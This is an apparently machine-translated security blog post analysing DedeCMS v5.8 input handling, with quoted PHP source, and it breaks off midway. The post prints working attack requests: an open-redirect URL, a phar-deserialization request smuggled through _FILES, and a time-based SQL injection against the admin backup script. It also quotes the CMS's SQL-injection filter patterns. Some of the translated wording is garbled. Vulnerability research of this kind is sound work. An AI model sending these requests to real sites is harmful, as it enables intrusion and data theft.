精华内容
下载资源
问答
  • 织梦dedecms转wordpress插件,该插件可以把织梦数据完整的转到wordpress并保持源链接不变不影响SEO,该插件可以把织梦的,系统参数、栏目分类、栏目内容、栏目TDK、文章内容、文章自定义字段、友情链接、一起转入到...
  • 众所周知,接入支付宝、微信等支付方式都需要企业资质,个人用户无法申请,但很多时候个人网站也需要接入支付。《织梦个人支付插件(Xorpay)》是个人支付宝、微信支付收款插件。具有以下特点:1、接入支付宝、微信...
  • DedeCMS-V5.7-UTF8-SP2.tar.gz

    2021-10-15 08:53:43
    DedeCMS-V5.7-UTF8-SP2
  • dedecms5.7sp1后台(要能够注册member的vip账户后台才可以)存在sql延时注入exp,用火狐得到账户登录的cookie替换,然后Python2.7跑脚本,from乌云雨神 http://www.hekaiyu.cn/hacker/3060.html
  • dedecms v5.8 未授权RCE 漏洞

    千次阅读 2021-10-10 20:20:20
    在这篇博文中,我将分享对 Dedecms(或翻译成英文的“Chasing a Dream”CMS)的技术评论,包括它的攻击面以及它与其他应用程序的不同之处。最后,我将结束一个影响v5.8.1 预发布的预认证远程代码执行漏洞。这是一款...

    在这篇博文中,我将分享对 Dedecms(或翻译成英文的“Chasing a Dream”CMS)的技术评论,包括它的攻击面以及它与其他应用程序的不同之处。最后,我将结束一个影响v5.8.1 预发布的预认证远程代码执行漏洞。这是一款有趣的软件,因为它自最初发布以来已有 14 年的历史,而且 PHP 多年来发生了很大变化。

    对于网上搜索“什么是中国最大的CMS”很快发现,  的状态是DEDECMS是最流行的。然而,这些来源几乎都有一个共同点:它们都是旧的。

    所以,我决定做一个粗略的搜索:

    该产品部署非常广泛,但自2020 年 12 月 11 日推出以来,此处详述的漏洞影响了少数站点并且从未将其纳入发布版本。

    威胁建模

    免责声明:我没有实际威胁建模的经验。在审核目标时,我问自己的第一件事是:如何将输入接受到应用程序中?好吧,事实证明这个目标的问题的答案是在include/common.inc.php脚本中:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>function</strong> _RunMagicQuotes(<strong>&</strong><span style="color:teal">$svar</span>)
    {
        <strong>if</strong> (<strong>!@</strong><span style="color:#0086b3">get_magic_quotes_gpc</span>()) {
            <strong>if</strong> (<span style="color:#0086b3">is_array</span>(<span style="color:teal">$svar</span>)) {
                <strong>foreach</strong> (<span style="color:teal">$svar</span> <strong>as</strong> <span style="color:teal">$_k</span> <strong>=></strong> <span style="color:teal">$_v</span>) {
                    <span style="color:teal">$svar</span>[<span style="color:teal">$_k</span>] <strong>=</strong> <span style="color:#990000"><strong>_RunMagicQuotes</strong></span>(<span style="color:teal">$_v</span>);
                }
    
            } <strong>else</strong> {
                <strong>if</strong> (<span style="color:#0086b3">strlen</span>(<span style="color:teal">$svar</span>) <strong>></strong> <span style="color:#009999">0</span> <strong>&&</strong> <span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">'#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#'</span>, <span style="color:teal">$svar</span>)) {
                    <strong>exit</strong>(<span style="color:#dd1144">'Request var not allow!'</span>);
                }
                <span style="color:teal">$svar</span> <strong>=</strong> <span style="color:#0086b3">addslashes</span>(<span style="color:teal">$svar</span>);
            }
        }
        <strong>return</strong> <span style="color:teal">$svar</span>;
    }
    
    <span style="color:#999988"><em>//...</em></span>
    
    <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">defined</span>(<span style="color:#dd1144">'DEDEREQUEST'</span>)) {
        <span style="color:#999988"><em>//检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)</em></span>
        <strong>function</strong> CheckRequest(<strong>&</strong><span style="color:teal">$val</span>)
        {
            <strong>if</strong> (<span style="color:#0086b3">is_array</span>(<span style="color:teal">$val</span>)) {
                <strong>foreach</strong> (<span style="color:teal">$val</span> <strong>as</strong> <span style="color:teal">$_k</span> <strong>=></strong> <span style="color:teal">$_v</span>) {
                    <strong>if</strong> (<span style="color:teal">$_k</span> <strong>==</strong> <span style="color:#dd1144">'nvarname'</span>) {
                        <strong>continue</strong>;
                    }
    
                    <span style="color:#990000"><strong>CheckRequest</strong></span>(<span style="color:teal">$_k</span>);
                    <span style="color:#990000"><strong>CheckRequest</strong></span>(<span style="color:teal">$val</span>[<span style="color:teal">$_k</span>]);
                }
            } <strong>else</strong> {
                <strong>if</strong> (<span style="color:#0086b3">strlen</span>(<span style="color:teal">$val</span>) <strong>></strong> <span style="color:#009999">0</span> <strong>&&</strong> <span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">'#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#'</span>, <span style="color:teal">$val</span>)) { <span style="color:#999988"><em>// 2</em></span>
                    <strong>exit</strong>(<span style="color:#dd1144">'Request var not allow!'</span>);
                }
            }
        }
    
        <span style="color:#990000"><strong>CheckRequest</strong></span>(<span style="color:teal">$_REQUEST</span>);
        <span style="color:#990000"><strong>CheckRequest</strong></span>(<span style="color:teal">$_COOKIE</span>);
    
        <strong>foreach</strong> (<strong>array</strong>(<span style="color:#dd1144">'_GET'</span>, <span style="color:#dd1144">'_POST'</span>, <span style="color:#dd1144">'_COOKIE'</span>) <strong>as</strong> <span style="color:teal">$_request</span>) {
            <strong>foreach</strong> (<span style="color:teal">$$_request</span> <strong>as</strong> <span style="color:teal">$_k</span> <strong>=></strong> <span style="color:teal">$_v</span>) {
                <strong>if</strong> (<span style="color:teal">$_k</span> <strong>==</strong> <span style="color:#dd1144">'nvarname'</span>) {
                    <span style="color:teal">${$_k}</span> <strong>=</strong> <span style="color:teal">$_v</span>;
                } <strong>else</strong> {
                    <span style="color:teal">${$_k}</span> <strong>=</strong> <span style="color:#990000"><strong>_RunMagicQuotes</strong></span>(<span style="color:teal">$_v</span>); <span style="color:#999988"><em>// 1</em></span>
                }
    
            }
        }
    }
    </code></span></span></span></span>

    如果我们在这里密切注意,我们可以在[1]看到代码重新启用,该代码register_globals已在PHP 5.4 中删除。

    register_globals过去一直是应用程序的一个大问题,并且支持非常丰富的攻击面,这也是 PHP 过去声誉不佳的原因之一。还要注意,它们不保护[2]处的全局数组$_SERVER$_FILES超级全局数组。

    这可能会导致行[3] 中的开放重定向 http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/或 phar 反序列化等风险include/uploadsafe.inc.php

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>foreach</strong> (<span style="color:teal">$_FILES</span> <strong>as</strong> <span style="color:teal">$_key</span> <strong>=></strong> <span style="color:teal">$_value</span>) {
        <strong>foreach</strong> (<span style="color:teal">$keyarr</span> <strong>as</strong> <span style="color:teal">$k</span>) {
            <strong>if</strong> (<strong>!</strong><strong>isset</strong>(<span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:teal">$k</span>])) {
                <strong>exit</strong>(<span style="color:#dd1144">"DedeCMS Error: Request Error!"</span>);
            }
        }
        <strong>if</strong> (<span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">'#^(cfg_|GLOBALS)#'</span>, <span style="color:teal">$_key</span>)) {
            <strong>exit</strong>(<span style="color:#dd1144">'Request var not allow for uploadsafe!'</span>);
        }
        <span style="color:teal">$$_key</span> <strong>=</strong> <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'tmp_name'</span>];
        <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>} <strong>=</strong> <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'name'</span>];  <span style="color:#999988"><em>// 4</em></span>
        <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_type'</span>} <strong>=</strong> <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'type'</span>] <strong>=</strong> <span style="color:#0086b3">preg_replace</span>(<span style="color:#dd1144">'#[^0-9a-z\./]#i'</span>, <span style="color:#dd1144">''</span>, <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'type'</span>]);
        <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_size'</span>} <strong>=</strong> <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'size'</span>] <strong>=</strong> <span style="color:#0086b3">preg_replace</span>(<span style="color:#dd1144">'#[^0-9]#'</span>, <span style="color:#dd1144">''</span>, <span style="color:teal">$_FILES</span>[<span style="color:teal">$_key</span>][<span style="color:#dd1144">'size'</span>]);
    
        <strong>if</strong> (<span style="color:#0086b3">is_array</span>(<span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>}) <strong>&&</strong> <span style="color:#0086b3">count</span>(<span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>}) <strong>></strong> <span style="color:#009999">0</span>) {
            <strong>foreach</strong> (<span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>} <strong>as</strong> <span style="color:teal">$key</span> <strong>=></strong> <span style="color:teal">$value</span>) {
                <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">empty</span>(<span style="color:teal">$value</span>) <strong>&&</strong> (<span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">"#\.("</span> <span style="color:#009999">.</span> <span style="color:teal">$cfg_not_allowall</span> <span style="color:#009999">.</span> <span style="color:#dd1144">")$#i"</span>, <span style="color:teal">$value</span>) <strong>||</strong> <strong>!</strong><span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">"#\.#"</span>, <span style="color:teal">$value</span>))) {
                    <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">defined</span>(<span style="color:#dd1144">'DEDEADMIN'</span>)) {
                        <strong>exit</strong>(<span style="color:#dd1144">'Not Admin Upload filetype not allow !'</span>);
                    }
                }
            }
        } <strong>else</strong> {
            <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">empty</span>(<span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>}) <strong>&&</strong> (<span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">"#\.("</span> <span style="color:#009999">.</span> <span style="color:teal">$cfg_not_allowall</span> <span style="color:#009999">.</span> <span style="color:#dd1144">")$#i"</span>, <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>}) <strong>||</strong> <strong>!</strong><span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">"#\.#"</span>, <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_name'</span>}))) {
                <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">defined</span>(<span style="color:#dd1144">'DEDEADMIN'</span>)) {
                    <strong>exit</strong>(<span style="color:#dd1144">'Not Admin Upload filetype not allow !'</span>);
                }
            }
        }
    
        <strong>if</strong> (<span style="color:#0086b3">empty</span>(<span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_size'</span>})) {
            <span style="color:#a61717"><span style="background-color:#e3d2d2">$</span></span>{<span style="color:teal">$_key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">'_size'</span>} <strong>=</strong> <strong>@</strong><span style="color:#0086b3">filesize</span>(<span style="color:teal">$$_key</span>); <span style="color:#999988"><em>// 3</em></span>
        }
    </code></span></span></span></span>
    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
    Host: target
    </code></span></span></span></span>

    我没有报告这些错误,因为它们没有产生任何影响(否则我会称它们为漏洞)。开放 URL 重定向错误本身无法进一步攻击攻击者,如果没有小工具链,则无法触发 phar 反序列化错误。

    不过,训练有素的眼睛会发现一些特别有趣的东西。在第[4] 行,代码使用_name未过滤的字符串创建了一个攻击者控制的变量_RunMagicQuotes。这意味着具有管理员凭据的攻击者可以sys_payment.php通过_RunMagicQuotes使用文件上传绕过该函数来触发脚本中的 SQL 注入:

    作为参考,我们可以看到 SQL 注入在内部是如何表现的dede/sys_payment.php

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><span style="color:#999988"><em>//配置支付接口</em></span>
    <strong>else</strong> <strong>if</strong> (<span style="color:teal">$dopost</span> <strong>==</strong> <span style="color:#dd1144">'config'</span>) { <span style="color:#999988"><em>// 5</em></span>
        <strong>if</strong> (<span style="color:teal">$pay_name</span> <strong>==</strong> <span style="color:#dd1144">""</span> <strong>||</strong> <span style="color:teal">$pay_desc</span> <strong>==</strong> <span style="color:#dd1144">""</span> <strong>||</strong> <span style="color:teal">$pay_fee</span> <strong>==</strong> <span style="color:#dd1144">""</span>) { <span style="color:#999988"><em>// 6</em></span>
            <span style="color:#990000"><strong>ShowMsg</strong></span>(<span style="color:#dd1144">"您有未填写的项目!"</span>, <span style="color:#dd1144">"-1"</span>);
            <strong>exit</strong>();
        }
        <span style="color:teal">$row</span> <strong>=</strong> <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>GetOne</strong></span>(<span style="color:#dd1144">"SELECT * FROM `#@__payment` WHERE id='</span><span style="color:teal">$pid</span><span style="color:#dd1144">'"</span>);
        <strong>if</strong> (<span style="color:teal">$cfg_soft_lang</span> <strong>==</strong> <span style="color:#dd1144">'utf-8'</span>) {
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#990000"><strong>AutoCharset</strong></span>(<span style="color:#0086b3">unserialize</span>(<span style="color:#990000"><strong>utf82gb</strong></span>(<span style="color:teal">$row</span>[<span style="color:#dd1144">'config'</span>])));
        } <strong>else</strong> <strong>if</strong> (<span style="color:teal">$cfg_soft_lang</span> <strong>==</strong> <span style="color:#dd1144">'gb2312'</span>) {
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#0086b3">unserialize</span>(<span style="color:teal">$row</span>[<span style="color:#dd1144">'config'</span>]);
        }
        <span style="color:teal">$payments</span> <strong>=</strong> <span style="color:#dd1144">"'code' => '"</span> <span style="color:#009999">.</span> <span style="color:teal">$row</span>[<span style="color:#dd1144">'code'</span>] <span style="color:#009999">.</span> <span style="color:#dd1144">"',"</span>;
        <strong>foreach</strong> (<span style="color:teal">$config</span> <strong>as</strong> <span style="color:teal">$key</span> <strong>=></strong> <span style="color:teal">$v</span>) {
            <span style="color:teal">$config</span>[<span style="color:teal">$key</span>][<span style="color:#dd1144">'value'</span>] <strong>=</strong> <span style="color:teal">${$key}</span>;
            <span style="color:teal">$payments</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">"'"</span> <span style="color:#009999">.</span> <span style="color:teal">$key</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"' => '"</span> <span style="color:#009999">.</span> <span style="color:teal">$config</span>[<span style="color:teal">$key</span>][<span style="color:#dd1144">'value'</span>] <span style="color:#009999">.</span> <span style="color:#dd1144">"',"</span>;
        }
        <span style="color:teal">$payments</span> <strong>=</strong> <span style="color:#0086b3">substr</span>(<span style="color:teal">$payments</span>, <span style="color:#009999">0</span>, <strong>-</strong><span style="color:#009999">1</span>);
        <span style="color:teal">$payment</span> <strong>=</strong> <span style="color:#dd1144">"</span><span style="color:#dd1144">\$</span><span style="color:#dd1144">payment=array("</span> <span style="color:#009999">.</span> <span style="color:teal">$payments</span> <span style="color:#009999">.</span> <span style="color:#dd1144">")"</span>;
        <span style="color:teal">$configstr</span> <strong>=</strong> <span style="color:#dd1144">"<"</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"?php</span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span> <span style="color:#009999">.</span> <span style="color:teal">$payment</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"</span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">?"</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"></span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>;
        <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">empty</span>(<span style="color:teal">$payment</span>)) {
            <span style="color:teal">$m_file</span> <strong>=</strong> <span style="color:teal">DEDEDATA</span> <span style="color:#009999">.</span> <span style="color:#dd1144">"/payment/"</span> <span style="color:#009999">.</span> <span style="color:teal">$row</span>[<span style="color:#dd1144">'code'</span>] <span style="color:#009999">.</span> <span style="color:#dd1144">".php"</span>;
            <span style="color:teal">$fp</span> <strong>=</strong> <span style="color:#0086b3">fopen</span>(<span style="color:teal">$m_file</span>, <span style="color:#dd1144">"w"</span>) <strong>or</strong> <strong>die</strong>(<span style="color:#dd1144">"写入文件 </span><span style="color:teal">$safeconfigfile</span><span style="color:#dd1144"> 失败,请检查权限!"</span>);
            <span style="color:#0086b3">fwrite</span>(<span style="color:teal">$fp</span>, <span style="color:teal">$configstr</span>);
            <span style="color:#0086b3">fclose</span>(<span style="color:teal">$fp</span>);
        }
        <strong>if</strong> (<span style="color:teal">$cfg_soft_lang</span> <strong>==</strong> <span style="color:#dd1144">'utf-8'</span>) {
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#990000"><strong>AutoCharset</strong></span>(<span style="color:teal">$config</span>, <span style="color:#dd1144">'utf-8'</span>, <span style="color:#dd1144">'gb2312'</span>);
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#0086b3">serialize</span>(<span style="color:teal">$config</span>);
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#990000"><strong>gb2utf8</strong></span>(<span style="color:teal">$config</span>);
        } <strong>else</strong> {
            <span style="color:teal">$config</span> <strong>=</strong> <span style="color:#0086b3">serialize</span>(<span style="color:teal">$config</span>);
        }
    
        <span style="color:teal">$query</span> <strong>=</strong> <span style="color:#dd1144">"UPDATE `#@__payment` SET name = '</span><span style="color:teal">$pay_name</span><span style="color:#dd1144">',fee='</span><span style="color:teal">$pay_fee</span><span style="color:#dd1144">',description='</span><span style="color:teal">$pay_desc</span><span style="color:#dd1144">',config='</span><span style="color:teal">$config</span><span style="color:#dd1144">',enabled='1' WHERE id='</span><span style="color:teal">$pid</span><span style="color:#dd1144">'"</span>; <span style="color:#999988"><em>// 7</em></span>
        <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>ExecuteNoneQuery</strong></span>(<span style="color:teal">$query</span>); <span style="color:#999988"><em>// 8</em></span>
    </code></span></span></span></span>

    [5][6] 处,有一些检查$dopost设置为config$pay_name$pay_desc并且$pay_fee是从请求中设置的。稍后在[7]代码使用提供的攻击者构建原始 SQL 查询$pay_name,最后在[8]我认为触发了 SQL 注入......

    纵深防御

    过去,Dedecms 开发人员受到SQL 注入漏洞的严重打击(可能是由于register_globals在源代码级别启用)。在上面的例子中,我们得到了服务器的响应Safe Alert: Request Error step 2,当然我们的注入失败了。这是为什么?查看include/dedesqli.class.php以了解:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><span style="color:#999988"><em>//SQL语句过滤程序,由80sec提供,这里作了适当的修改</em></span>
    <strong>function</strong> CheckSql(<span style="color:teal">$db_string</span>, <span style="color:teal">$querytype</span> <strong>=</strong> <span style="color:#dd1144">'select'</span>)
    {
    
        <span style="color:#999988"><em>// ...more checks...</em></span>
    
        <span style="color:#999988"><em>//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它</em></span>
        <strong>if</strong> (<span style="color:#0086b3">strpos</span>(<span style="color:teal">$clean</span>, <span style="color:#dd1144">'union'</span>) <strong>!==</strong> <strong>false</strong> <strong>&&</strong> <span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">'~(^|[^a-z])union($|[^[a-z])~s'</span>, <span style="color:teal">$clean</span>) <strong>!=</strong> <span style="color:#009999">0</span>) {
            <span style="color:teal">$fail</span> <strong>=</strong> <strong>true</strong>;
            <span style="color:teal">$error</span> <strong>=</strong> <span style="color:#dd1144">"union detect"</span>;
        }
    
        <span style="color:#999988"><em>// ...more checks...</em></span>
    
        <span style="color:#999988"><em>//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息</em></span>
        <strong>elseif</strong> (<span style="color:#0086b3">preg_match</span>(<span style="color:#dd1144">'~\([^)]*?select~s'</span>, <span style="color:teal">$clean</span>) <strong>!=</strong> <span style="color:#009999">0</span>) {
            <span style="color:teal">$fail</span> <strong>=</strong> <strong>true</strong>;
            <span style="color:teal">$error</span> <strong>=</strong> <span style="color:#dd1144">"sub select detect"</span>;
        }
        <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">empty</span>(<span style="color:teal">$fail</span>)) {
            <span style="color:#0086b3">fputs</span>(<span style="color:#0086b3">fopen</span>(<span style="color:teal">$log_file</span>, <span style="color:#dd1144">'a+'</span>), <span style="color:#dd1144">"</span><span style="color:teal">$userIP</span><span style="color:#dd1144">||</span><span style="color:teal">$getUrl</span><span style="color:#dd1144">||</span><span style="color:teal">$db_string</span><span style="color:#dd1144">||</span><span style="color:teal">$error</span><span style="color:#dd1144">\r\n</span><span style="color:#dd1144">"</span>);
            <strong>exit</strong>(<span style="color:#dd1144">"<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"</span>);  <span style="color:#999988"><em>// 9</em></span>
        } <strong>else</strong> {
            <strong>return</strong> <span style="color:teal">$db_string</span>;
        }
    </code></span></span></span></span>

    现在我不知道80Sec是谁,但他们看起来很严肃。在CheckSql从被称为Execute

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>    <span style="color:#999988"><em>//执行一个带返回结果的SQL语句,如SELECT,SHOW等</em></span>
        <strong>public</strong> <strong>function</strong> Execute(<span style="color:teal">$id</span> <strong>=</strong> <span style="color:#dd1144">"me"</span>, <span style="color:teal">$sql</span> <strong>=</strong> <span style="color:#dd1144">''</span>)
        {
    
            <span style="color:#999988"><em>//...</em></span>
    
            <span style="color:#999988"><em>//SQL语句安全检查</em></span>
            <strong>if</strong> (<span style="color:teal">$this</span><strong>-></strong>safeCheck) {
                <span style="color:#990000"><strong>CheckSql</strong></span>(<span style="color:teal">$this</span><strong>-></strong>queryString);
            }
    </code></span></span></span></span>

    SetQuery

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>    <strong>public</strong> <strong>function</strong> SetQuery(<span style="color:teal">$sql</span>)
        {
            <span style="color:teal">$prefix</span> <strong>=</strong> <span style="color:#dd1144">"#@__"</span>;
            <span style="color:teal">$sql</span> <strong>=</strong> <span style="color:#0086b3">trim</span>(<span style="color:teal">$sql</span>);
            <strong>if</strong> (<span style="color:#0086b3">substr</span>(<span style="color:teal">$sql</span>, <strong>-</strong><span style="color:#009999">1</span>) <strong>!==</strong> <span style="color:#dd1144">";"</span>) {
                <span style="color:teal">$sql</span> <span style="color:#009999">.</span><strong>=</strong> <span style="color:#dd1144">";"</span>;
            }
            <span style="color:teal">$sql</span> <strong>=</strong> <span style="color:#0086b3">str_replace</span>(<span style="color:teal">$prefix</span>, <span style="color:teal">$GLOBALS</span>[<span style="color:#dd1144">'cfg_dbprefix'</span>], <span style="color:teal">$sql</span>);
    
            <span style="color:#990000"><strong>CheckSql</strong></span>(<span style="color:teal">$sql</span>, <span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>getSQLType</strong></span>(<span style="color:teal">$sql</span>)); <span style="color:#999988"><em>// 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。</em></span>
             
            <span style="color:teal">$this</span><strong>-></strong>queryString <strong>=</strong> <span style="color:teal">$sql</span>;
        }
    </code></span></span></span></span>

    但是我们可以通过使用另一个同样调用的函数来避免这个函数,mysqli_query例如GetTableFields

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code> <span style="color:#999988"><em>//获取特定表的信息</em></span>
        <strong>public</strong> <strong>function</strong> GetTableFields(<span style="color:teal">$tbname</span>, <span style="color:teal">$id</span> <strong>=</strong> <span style="color:#dd1144">"me"</span>)
        {
            <strong>global</strong> <span style="color:teal">$dsqli</span>;
            <strong>if</strong> (<strong>!</strong><span style="color:teal">$dsqli</span><strong>-></strong>isInit) {
                <span style="color:teal">$this</span><strong>-></strong><span style="color:#990000"><strong>Init</strong></span>(<span style="color:teal">$this</span><strong>-></strong>pconnect);
            }
            <span style="color:teal">$prefix</span> <strong>=</strong> <span style="color:#dd1144">"#@__"</span>;
            <span style="color:teal">$tbname</span> <strong>=</strong> <span style="color:#0086b3">str_replace</span>(<span style="color:teal">$prefix</span>, <span style="color:teal">$GLOBALS</span>[<span style="color:#dd1144">'cfg_dbprefix'</span>], <span style="color:teal">$tbname</span>);
            <span style="color:teal">$query</span> <strong>=</strong> <span style="color:#dd1144">"SELECT * FROM </span><span style="color:#dd1144">{</span><span style="color:teal">$tbname</span><span style="color:#dd1144">}</span><span style="color:#dd1144"> LIMIT 0,1"</span>;
            <span style="color:teal">$this</span><strong>-></strong>result[<span style="color:teal">$id</span>] <strong>=</strong> <span style="color:#990000"><strong>mysqli_query</strong></span>(<span style="color:teal">$this</span><strong>-></strong>linkID, <span style="color:teal">$query</span>);
        }
    </code></span></span></span></span>

    不是,只是任何旧水槽。这个不使用引号,所以我们不需要打破带引号的字符串,这是必需的,因为我们的输入将流经_RunMagicQuotes函数。GetTableFields可以dede/sys_data_done.php在第[10]行的脚本中找到危险的用法:

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><strong>if</strong> (<span style="color:teal">$dopost</span> <strong>==</strong> <span style="color:#dd1144">'bak'</span>) {
        <strong>if</strong> (<span style="color:#0086b3">empty</span>(<span style="color:teal">$tablearr</span>)) {
            <span style="color:#990000"><strong>ShowMsg</strong></span>(<span style="color:#dd1144">'你没选中任何表!'</span>, <span style="color:#dd1144">'javascript:;'</span>);
            <strong>exit</strong>();
        }
        <strong>if</strong> (<strong>!</strong><span style="color:#0086b3">is_dir</span>(<span style="color:teal">$bkdir</span>)) {
            <span style="color:#990000"><strong>MkdirAll</strong></span>(<span style="color:teal">$bkdir</span>, <span style="color:teal">$cfg_dir_purview</span>);
            <span style="color:#990000"><strong>CloseFtp</strong></span>();
        }
    
        <strong>if</strong> (<span style="color:#0086b3">empty</span>(<span style="color:teal">$nowtable</span>)) {
            <span style="color:teal">$nowtable</span> <strong>=</strong> <span style="color:#dd1144">''</span>;
        }
        <strong>if</strong> (<span style="color:#0086b3">empty</span>(<span style="color:teal">$fsize</span>)) {
            <span style="color:teal">$fsize</span> <strong>=</strong> <span style="color:#009999">20480</span>;
        }
        <span style="color:teal">$fsizeb</span> <strong>=</strong> <span style="color:teal">$fsize</span> <strong>*</strong> <span style="color:#009999">1024</span>;
        
        <span style="color:#999988"><em>//第一页的操作</em></span>
        <strong>if</strong> (<span style="color:teal">$nowtable</span> <strong>==</strong> <span style="color:#dd1144">''</span>) {
            <span style="color:#999988"><em>//...</em></span>
        }
        <span style="color:#999988"><em>//执行分页备份</em></span>
        <strong>else</strong> {
            <span style="color:teal">$j</span> <strong>=</strong> <span style="color:#009999">0</span>;
            <span style="color:teal">$fs</span> <strong>=</strong> <strong>array</strong>();
            <span style="color:teal">$bakStr</span> <strong>=</strong> <span style="color:#dd1144">''</span>;
    
            <span style="color:#999988"><em>//分析表里的字段信息</em></span>
            <span style="color:teal">$dsql</span><strong>-></strong><span style="color:#990000"><strong>GetTableFields</strong></span>(<span style="color:teal">$nowtable</span>); <span style="color:#999988"><em>// 10</em></span>
    </code></span></span></span></span>
    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code>GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
    Host: target
    Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;
    </code></span></span></span></span>

    但是当然,这需要管理员权限,我们对此并不感兴趣(没有提升权限或绕过身份验证)。

    查找预先验证的端点

    如果我们尝试有点困难,虽然,我们可以找到一些更有趣的代码include/filter.inc.php在稍旧版本:DedeCMS-V5.7-UTF8-SP2.tar.gz

    <span style="color:#111111"><span style="background-color:#ffffff"><span style="background-color:#eeeeff"><span style="background-color:#eeeeff"><code><span style="color:teal">$magic_quotes_gpc</span> <strong>=</strong> <span style="color:#0086b3">ini_get</span>(<span style="color:#dd1144">'magic_quotes_gpc'</span>);
    <strong>function</strong> _FilterAll(<span style="color:teal">$fk</span>, <strong>&</strong><span style="color:teal">$svar</span>)
    {
